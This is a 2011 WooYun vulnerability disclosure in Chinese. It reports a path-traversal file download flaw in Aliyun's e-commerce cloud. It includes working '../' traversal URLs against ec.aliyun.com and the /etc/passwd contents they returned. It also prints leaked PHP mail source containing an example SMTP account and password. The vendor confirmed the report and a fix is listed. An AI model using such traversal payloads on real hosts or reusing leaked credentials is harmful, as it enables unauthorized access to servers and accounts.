当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-03511

漏洞标题:阿里云·电商云任意文件下载漏洞

相关厂商:阿里巴巴

漏洞作者: rdpclip

提交时间:2011-12-03 13:27

修复时间:2012-01-02 13:28

公开时间:2012-01-02 13:28

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-12-03: 细节已通知厂商并且等待厂商处理中
2011-12-05: 厂商已经确认,细节仅向厂商公开
2011-12-15: 细节向核心白帽子及相关领域专家公开
2011-12-25: 细节向普通白帽子公开
2012-01-04: 细节向实习白帽子公开
2012-01-02: 细节向公众公开

简要描述:

阿里云·电商云存在任意文件下载漏洞,可以遍历服务器任意文件。

详细说明:

http://ec.aliyun.com/picture?p=../.htaccess
http://ec.aliyun.com/picture?p=../../../../cmis/web/dev_meeting/mail.php

漏洞证明:

http://ec.aliyun.com/picture?p=../../../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
avahi-autoipd:x:100:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
admin:x:505:505::/home/admin:/bin/bash
appadmin:x:507:507::/home/appadmin:/bin/bash
puppet:x:52:52:Puppet:/var/lib/puppet:/sbin/nologin
mysql:x:101:104:MySQL server:/var/lib/mysql:/bin/bash
www:x:508:508::/home/www:/bin/bash
http://ec.aliyun.com/picture?p=../../../../cmis/web/dev_meeting/mail.php

<?php
class BMail{
/**
* <p>以SMTP的方式发送邮件</p>
*
* @return true,false - 是否成功发送bool
* @param $mailcfg array - 邮件发送的配置
* @param $mail array - 邮件的内容
*/
public static function send($mailcfg,$mail){
//无法连接上smtp服务器
if(!$fp = fsockopen($mailcfg['server'], $mailcfg['port'], $errno, $errstr, 50)) {
echo ('无法连接');
return false;
}
stream_set_blocking($fp, true);
$lastmessage = fgets($fp, 512);
if(substr($lastmessage, 0, 3) != '220') {
$error_msg = "$mailcfg[server]:$mailcfg[port] CONNECT - $lastmessage";
echo ('连接错误');
return false;
}
//发送用户名
fputs($fp, ($mailcfg['auth'] ? 'EHLO' : 'HELO')." ".$mailcfg['auth_username']."\r\n");
$lastmessage = fgets($fp, 512);
if(substr($lastmessage, 0, 3) != 220 && substr($lastmessage, 0, 3) != 250) {

$error_msg = "($mailcfg[server]:$mailcfg[port]) HELO/EHLO - $lastmessage";
echo ('身份错误');
return false;
}
while(1) {
if(substr($lastmessage, 3, 1) != '-' || empty($lastmessage)) {break;}
$lastmessage = fgets($fp, 512);
}
//登陆验证
if($mailcfg['auth']) {
fputs($fp, "AUTH LOGIN\r\n");
$lastmessage = fgets($fp, 512);
if(substr($lastmessage, 0, 3) != 334) {
//登陆模式错误
$error_msg = "($mailcfg[server]:$mailcfg[port]) AUTH LOGIN - $lastmessage";
echo ('登陆模式错误');
return false;
}
fputs($fp, base64_encode($mailcfg['auth_username'])."\r\n");
$lastmessage = fgets($fp, 512);
if(substr($lastmessage, 0, 3) != 334) {
//用户名不正确
$error_msg = "($mailcfg[server]:$mailcfg[port]) USERNAME - $lastmessage";
echo ('用户名不正确');
return false;
}
fputs($fp, base64_encode($mailcfg['auth_password'])."\r\n");
$lastmessage = fgets($fp, 512);
if(substr($lastmessage, 0, 3) != 235) {
//用户密码不正确
$error_msg = "($mailcfg[server]:$mailcfg[port]) PASSWORD - $lastmessage";
echo ('用户密码不正确');
return false;
}

$email_from = $mailcfg['from'];
}
fputs($fp, "MAIL FROM: <".preg_replace("/.*\<(.+?)\>.*/", "\\1", $email_from).">\r\n");
$lastmessage = fgets($fp, 512);
if(substr($lastmessage, 0, 3) != 250) {
//发送地址错误
$error_msg = "($mailcfg[server]:$mailcfg[port]) MAIL FROM - $lastmessage";
echo ('发送地址错误');
return false;
}

$email_to=$mail['to'];
//循环对逐个收件人发送
foreach(explode(',', $email_to) as $touser) {
$touser = trim($touser);
if($touser) {
fputs($fp, "RCPT TO: <$touser>\r\n");
$lastmessage = fgets($fp, 512);
if(substr($lastmessage, 0, 3) != 250) {
//目标地址错误
$error_msg = "($mailcfg[server]:$mailcfg[port]) RCPT TO - $lastmessage";
echo ('目标地址错误');
return false;
}
}
}
fputs($fp, "DATA\r\n");
$lastmessage = fgets($fp, 512);
if(substr($lastmessage, 0, 3) != 354) {
$error_msg = "($mailcfg[server]:$mailcfg[port]) DATA - $lastmessage";
echo ('数据错误');
return false;
}

$from = $mailcfg['from'];
$fromname = $mailcfg['fromname'];
$subject = $mail['subject'];
$content = $mail['content'];

$charset = $mailcfg['charset'];
$headers = "MIME-Version: 1.0\r\nContent-type: $mailcfg[type]; charset=".$charset."\r\n\r\n";//头文件避免出现乱码

//构建邮件数据
$str="To: $email_to\r\nFrom: $fromname <$from>\r\nSubject: ".$subject."\r\n".$headers.$content."\r\n.\r\n";
//fputs($fp, "$str\r\n");
fputs($fp, "$str\r\n.\r\n.");
fputs($fp, "QUIT\r\n");
return true;
}
}
//以下为调用例子
/**********************
define("REG_SMTP_HOST", "smtp.mail.aliyun.com");//如果是ssl类型的smtp,改成'ssl://smtp.163.com' 即可
define("REG_SMTP_USER", "alicmis@aliyun.com");
define("REG_SMTP_PASS", "123456");
define("REG_SMTP_FROM", "alicmis@aliyun.com");
$mailcfg = array(
'server'=>REG_SMTP_HOST,
'port'=>'25',//smtp服务器端口
'auth'=>1,
'from'=>REG_SMTP_FROM,
'charset'=>'utf-8',//信件编码
'type'=>'text/html',//发送的类型是html格式
//'type'=>'text/plain',//发送的类型是文本格式
'fromname'=>'阿里云计算',
'auth_username'=>REG_SMTP_USER,
'auth_password'=>REG_SMTP_PASS);

$rst = BMail::send($mailcfg,$mail);
if(!$rst){
echo 'mail fail';
}else{
echo 'mail succ!';
}
**************************/
?>

修复方案:

pw框架伪静态调用过滤,同服务器分站目录权限分离,内网数据库连接文件降权。

版权声明:转载请注明来源 rdpclip@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2011-12-05 11:43

厂商回复:

非常感谢rdpclip给我们提供的漏洞信息~
我们会努力做得更好的~

最新状态:

暂无